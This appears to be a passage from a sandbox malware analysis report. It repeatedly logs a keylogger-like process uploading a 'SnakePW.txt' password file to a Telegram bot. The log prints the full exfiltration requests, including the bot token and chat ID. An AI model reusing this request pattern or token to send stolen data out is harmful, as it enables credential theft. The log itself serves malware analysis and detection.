--------------------------8dd1275f877ff90Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:33 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:33 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389018,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605993,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	50017	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:35 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1121e522ff54 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:35 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 32 31 65 35 32 32 66 66 35 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd1121e522ff54Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:35 GMT Content-Type: application/json Content-Length: 519 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:35 UTC	519	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389020,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605995,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	50018	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:35 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd112726dfdaef Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:35 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 32 37 32 36 64 66 64 61 65 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd112726dfdaefContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:35 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:35 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389022,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605995,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	50019	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:35 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd12d4ee8d8cfe Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:35 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 32 64 34 65 65 38 64 38 63 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd12d4ee8d8cfeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:35 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:35 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389024,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605995,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	50023	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:37 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd114d7c71abd4 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:37 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 34 64 37 63 37 31 61 62 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd114d7c71abd4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:37 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:37 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389026,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605997,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	50025	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:37 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd11559464c338 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:37 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 35 35 39 34 36 34 63 33 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd11559464c338Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:37 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:37 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389029,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605997,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	50027	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:37 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd131d191f6227 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:37 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 33 31 64 31 39 31 66 36 32 32 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd131d191f6227Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:37 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:37 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389028,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605997,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	50031	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:39 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1197e49d4113 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:39 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 39 37 65 34 39 64 34 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd1197e49d4113Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:39 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:39 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: 